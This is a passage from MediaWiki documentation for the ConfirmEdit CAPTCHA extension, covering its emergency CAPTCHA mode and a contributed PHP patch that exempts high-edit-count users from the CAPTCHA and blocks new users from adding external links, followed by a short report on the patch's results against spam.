This means only unregistered and [[m:newly registered user|newly registered users]] have to pass the CAPTCHA.

==== EmergencyCaptcha mode ====

Additionally the shortcut named <code>$wmgEmergencyCaptcha</code> is designed for use in a limited number of emergency situations, for instance in case of massive vandalism or spam attacks: it changes the default trigger values (see above) into the following:

<syntaxhighlight lang="php">
$wgCaptchaTriggers['edit'] = true;
$wgCaptchaTriggers['create'] = true;
</syntaxhighlight>

So all anonymous and new users have to solve a CAPTCHA also before being able to save an edit or create a new page, in addition to the normal situation.

== Test plan ==
See [[ConfirmEdit Test Plan]].

== Patch for even more spam protection ==

This is a patch to allow experienced users to bring in external links without solving a captcha, regardless she has skipcaptcha permissions. A user is considered to be trusted if she has a large number of edits.

This patch also prohibits new users from adding _any_ external links. Such behaviour should help a lot to tackle spam, because the whole reason of spam is to add such links (they call it "link building") and spam is almost always added by newly created users.

Configuration:

Apply the patch to extensions/ after unpacking ConfirmEdit 1.2. If you want to deviate from the
defaults, add this to LocalSettings.php:

<syntaxhighlight lang="php">
# Don't ask for a captcha for users with more than this number of edits.
$wgCaptchaTrustedThreshold = 150; // default 100
# Always reject edits adding new external links with less than this number of edits.
$wgCaptchaNewbieThreshold = 10; // default 5
</syntaxhighlight>

The patch isn't as well honed as it could be, for example user messages aren't localized. Also, the refusal for newbies to add external links applies no matter which permissions a user has. Other than that, it appears to work just fine. For a wiki using this patch, see http://reprap.org.

Markus "Traumflug" Hitter, September 2013, <mah@jump-ing.de>

<syntaxhighlight lang="diff">
--- ConfirmEdit/Captcha.php.2013-09-06 2013-05-28 12:10:57.000000000 -0700
+++ ConfirmEdit/Captcha.php 2013-09-08 10:30:12.000000000 -0700
@@ -1,6 +1,9 @@
<?php

class SimpleCaptcha {
+
+ private $newLinks = null;
+
function getCaptcha() {
$a = mt_rand( 0, 100 );
$b = mt_rand( 0, 10 );
@@ -62,6 +65,21 @@
}

/**
+ * Insert the captcha prompt into an edit form.
+ * @param OutputPage $out
+ */
+ function newbieCallback( &$out ) {
+ global $wgCaptchaNewbieThreshold, $wgUser;
+ $count = $wgUser->getEditCount();
+ $out->addWikiText( "As a spam protection measure, users with fewer than
+ $wgCaptchaNewbieThreshold edits are '''not''' allowed
+ to add ''external'' links. Please use internal links
+ instead (which is always to be perferred) or raise
+ your edit count by doing a few edits without links.
+ \n\nYour edit count is $count.\n\n" );
+ }
+
+ /**
* Show a message asking the user to enter a captcha on edit
* The result will be treated as wiki text
*
@@ -237,6 +255,34 @@
/**
* @param $editPage EditPage
* @param $newtext string
+ * @param $merged bool
+ * @return an array with the number of newly added links
+ */
+ function findNewLinks( &$editPage, $newtext, $merged ) {
+ if ( $this->newLinks != null )
+ return $this->newLinks;
+
+ if ( $merged ) {
+ // Get links from the database
+ $oldLinks = $this->getLinksFromTracker( $editPage->mArticle->getTitle() );
+ // Share a parse operation with Article::doEdit()
+ $editInfo = $editPage->mArticle->prepareTextForEdit( $newtext );
+ $newLinks = array_keys( $editInfo->output->getExternalLinks() );
+ } else {
+ // Get link changes in the slowest way known to man
+ $oldtext = $this->loadText( $editPage, $section );
+ $oldLinks = $this->findLinks( $editPage, $oldtext );
+ $newLinks = $this->findLinks( $editPage, $newtext );
+ }
+
+ $unknownLinks = array_filter( $newLinks, array( &$this, 'filterLink' ) );
+ $this->newLinks = array_diff( $unknownLinks, $oldLinks );
+ return $this->newLinks;
+ }
+
+ /**
+ * @param $editPage EditPage
+ * @param $newtext string
* @param $section string
* @param $merged bool
* @return bool true if the captcha should run
@@ -246,6 +292,18 @@
$title = $editPage->mArticle->getTitle();

global $wgUser;
+
+ // Users with more than $wgCaptchaTrustedThreshold edits
+ // are considered to be trusted, so they don't need a captcha.
+ global $wgCaptchaTrustedThreshold;
+ if ( ! isset( $wgCaptchaTrustedThreshold ) )
+ $wgCaptchaTrustedThreshold = 100;
+ if ( $wgUser->getEditCount() > $wgCaptchaTrustedThreshold ) {
+ wfDebug( "ConfirmEdit: trusted user, skipping captcha\n" );
+ return false;
+ }
+
if ( $wgUser->isAllowed( 'skipcaptcha' ) ) {
wfDebug( "ConfirmEdit: user group allows skipping captcha\n" );
return false;
@@ -284,22 +341,7 @@
}

if ( $this->captchaTriggers( $editPage, 'addurl' ) ) {
- // Only check edits that add URLs
- if ( $merged ) {
- // Get links from the database
- $oldLinks = $this->getLinksFromTracker( $title );
- // Share a parse operation with Article::doEdit()
- $editInfo = $editPage->mArticle->prepareTextForEdit( $newtext );
- $newLinks = array_keys( $editInfo->output->getExternalLinks() );
- } else {
- // Get link changes in the slowest way known to man
- $oldtext = $this->loadText( $editPage, $section );
- $oldLinks = $this->findLinks( $editPage, $oldtext );
- $newLinks = $this->findLinks( $editPage, $newtext );
- }
-
- $unknownLinks = array_filter( $newLinks, array( &$this, 'filterLink' ) );
- $addedLinks = array_diff( $unknownLinks, $oldLinks );
+ $addedLinks = $this->findNewLinks( $editPage, $newtext, $merged );
$numLinks = count( $addedLinks );

if ( $numLinks > 0 ) {
@@ -469,6 +511,21 @@
# The CAPTCHA was already checked and approved
return true;
}
+
+ // Always reject edits of newbies adding external links.
+ global $wgCaptchaNewbieThreshold, $wgUser;
+ if ( ! isset( $wgCaptchaNewbieThreshold ) )
+ $wgCaptchaNewbieThreshold = 5;
+ if ( $wgUser->getEditCount() < $wgCaptchaNewbieThreshold ) {
+ $addedLinks = $this->findNewLinks( $editPage, $newtext, $merged );
+ if ( count( $addedLinks ) > 0 ) {
+ wfDebug( "ConfirmEdit: rejecting newbie edit due to new links\n" );
+ $editPage->showEditForm( array( &$this, 'newbieCallback' ) );
+ return false;
+ }
+ }
+
if ( !$this->doConfirmEdit( $editPage, $newtext, $section, $merged ) ) {
$editPage->showEditForm( array( &$this, 'editCallback' ) );
return false;

</syntaxhighlight>

===Experience with this patch===

After two months with this patch, we still wait for the first spam edit. Other than spambots still creating accounts, misuse of [http://reprap.org our wiki] has completely disappeared.

Legitimate users apparently understand the error message. No complaints, but occasionally useless edits to raise the edit count appear. Typically, these users revert their useless edits without maintainer intervention. Exactly like planned.

-- [http://reprap.org/wiki/User:Traumflug Traumflug@reprap.org]

==Authors==
The basic framework was designed largely by [[User:Brion VIBBER|Brion Vibber]], who also wrote the SimpleCaptcha and FancyCaptcha modules. The Asirra module was written by [[User:Bachsau|Bachsau]]. The MathCaptcha module was written by [[User:Robchurch|Rob Church]]. The QuestyCaptcha module was written by [[User:Emufarmers|Benjamin Lees]]. The reCAPTCHA module was written by Mike Crawford and Ben Maurer. Additional maintenance work was done by [[User:Yaron Koren|Yaron Koren]].

==Notes==
<references/>

==See also==
* [[Special:MyLanguage/Anti-spam features|Anti-spam features]]
* [[Special:MyLanguage/Extension:SpamRegex|Extension:SpamRegex]]
* [[Special:MyLanguage/Extension:KittenAuth|Extension:KittenAuth]]
* [[Special:MyLanguage/Manual:$wgSpamRegex|Manual:$wgSpamRegex]]

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